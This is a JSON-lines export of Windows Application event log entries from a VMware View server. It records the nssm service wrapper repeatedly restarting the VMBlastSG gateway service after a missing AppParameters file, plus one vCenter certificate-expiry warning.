{"@timestamp":1646651490300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155351}}
{"@timestamp":1646651490301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155352}}
{"@timestamp":1646651618806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155353}}
{"@timestamp":1646651618807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155354}}
{"@timestamp":1646651618807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152352","0"]}}},"module":"Application","provider":"nssm","sequence":155355}}
{"@timestamp":1646651618808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152352","152352","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155356}}
{"@timestamp":1646651618824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155357}}
{"@timestamp":1646651618825,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155358}}
{"@timestamp":1646651618825,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155359}}
{"@timestamp":1646651618826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155360}}
{"@timestamp":1646651747329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155361}}
{"@timestamp":1646651747331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155362}}
{"@timestamp":1646651747332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150748","0"]}}},"module":"Application","provider":"nssm","sequence":155363}}
{"@timestamp":1646651747332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150748","150748","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155364}}
{"@timestamp":1646651747348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155365}}
{"@timestamp":1646651747348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155366}}
{"@timestamp":1646651747349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155367}}
{"@timestamp":1646651747350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155368}}
{"@timestamp":1646651875874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155369}}
{"@timestamp":1646651875875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155370}}
{"@timestamp":1646651875876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151448","0"]}}},"module":"Application","provider":"nssm","sequence":155371}}
{"@timestamp":1646651875876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151448","151448","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155372}}
{"@timestamp":1646651875896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155373}}
{"@timestamp":1646651875897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155374}}
{"@timestamp":1646651875897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155375}}
{"@timestamp":1646651875898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155376}}
{"@timestamp":1646652004441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155377}}
{"@timestamp":1646652004441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155378}}
{"@timestamp":1646652004442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151132","0"]}}},"module":"Application","provider":"nssm","sequence":155379}}
{"@timestamp":1646652004443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151132","151132","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155380}}
{"@timestamp":1646652004459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155381}}
{"@timestamp":1646652004460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155382}}
{"@timestamp":1646652004461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155383}}
{"@timestamp":1646652004462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155384}}
{"@timestamp":1646652133010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155385}}
{"@timestamp":1646652133011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155386}}
{"@timestamp":1646652133012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152240","0"]}}},"module":"Application","provider":"nssm","sequence":155387}}
{"@timestamp":1646652133013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152240","152240","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155388}}
{"@timestamp":1646652133028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155389}}
{"@timestamp":1646652133029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155390}}
{"@timestamp":1646652133030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155391}}
{"@timestamp":1646652133031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155392}}
{"@timestamp":1646652255863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_VC_CERT_EXPIRY_WARNING\nCertificate will expire shortly for vCenter at address https://eng-vmvc401.engineering-ac.de:443/sdk\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Mar 07 12:24:15 CET 2022\n\tVCAddress=https://eng-vmvc401.engineering-ac.de:443/sdk\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.VCHealth\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":155393}}
{"@timestamp":1646652261981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155394}}
{"@timestamp":1646652261981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155395}}
{"@timestamp":1646652261982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151984","0"]}}},"module":"Application","provider":"nssm","sequence":155396}}
{"@timestamp":1646652261983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151984","151984","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155397}}
{"@timestamp":1646652261999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155398}}
{"@timestamp":1646652261999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155399}}
{"@timestamp":1646652262000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155400}}
{"@timestamp":1646652262000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155401}}
{"@timestamp":1646652390515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155402}}
{"@timestamp":1646652390516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155403}}
{"@timestamp":1646652390516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151224","0"]}}},"module":"Application","provider":"nssm","sequence":155404}}
{"@timestamp":1646652390517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151224","151224","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155405}}
{"@timestamp":1646652390534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155406}}
{"@timestamp":1646652390535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155407}}
{"@timestamp":1646652390535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155408}}
{"@timestamp":1646652390537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155409}}
{"@timestamp":1646652519056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155410}}
{"@timestamp":1646652519057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155411}}
{"@timestamp":1646652519057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151488","0"]}}},"module":"Application","provider":"nssm","sequence":155412}}
{"@timestamp":1646652519058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151488","151488","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155413}}
{"@timestamp":1646652519074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155414}}
{"@timestamp":1646652519074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155415}}
{"@timestamp":1646652519075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155416}}
{"@timestamp":1646652519076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155417}}
{"@timestamp":1646652647745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155418}}
{"@timestamp":1646652647745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155419}}
{"@timestamp":1646652647745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149892","0"]}}},"module":"Application","provider":"nssm","sequence":155420}}
{"@timestamp":1646652647746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149892","149892","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155421}}
{"@timestamp":1646652647761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155422}}
{"@timestamp":1646652647762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155423}}
{"@timestamp":1646652647763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155424}}
{"@timestamp":1646652647763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155425}}
{"@timestamp":1646652776396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155426}}
{"@timestamp":1646652776397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155427}}
{"@timestamp":1646652776397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150636","0"]}}},"module":"Application","provider":"nssm","sequence":155428}}
{"@timestamp":1646652776397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150636","150636","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155429}}
{"@timestamp":1646652776412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150260","0"]}}},"module":"Application","provider":"nssm","sequence":155430}}
{"@timestamp":1646652776413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150260","150636","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155431}}
{"@timestamp":1646652776427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155432}}
{"@timestamp":1646652776428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155433}}
{"@timestamp":1646652776428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155434}}
{"@timestamp":1646652776429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155435}}
{"@timestamp":1646652904906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155436}}
{"@timestamp":1646652904907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155437}}
{"@timestamp":1646652904907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150256","0"]}}},"module":"Application","provider":"nssm","sequence":155438}}
{"@timestamp":1646652904908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150256","150256","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155439}}
{"@timestamp":1646652904924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155440}}
{"@timestamp":1646652904924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155441}}
{"@timestamp":1646652904925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155442}}
{"@timestamp":1646652904926,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155443}}
{"@timestamp":1646653033425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155444}}
{"@timestamp":1646653033425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155445}}
{"@timestamp":1646653033426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152108","0"]}}},"module":"Application","provider":"nssm","sequence":155446}}
{"@timestamp":1646653033426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152108","152108","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155447}}
{"@timestamp":1646653033442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155448}}
{"@timestamp":1646653033442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155449}}
{"@timestamp":1646653033443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155450}}
{"@timestamp":1646653033444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155451}}
{"@timestamp":1646653161947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155452}}
{"@timestamp":1646653161948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155453}}
{"@timestamp":1646653161948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149536","0"]}}},"module":"Application","provider":"nssm","sequence":155454}}
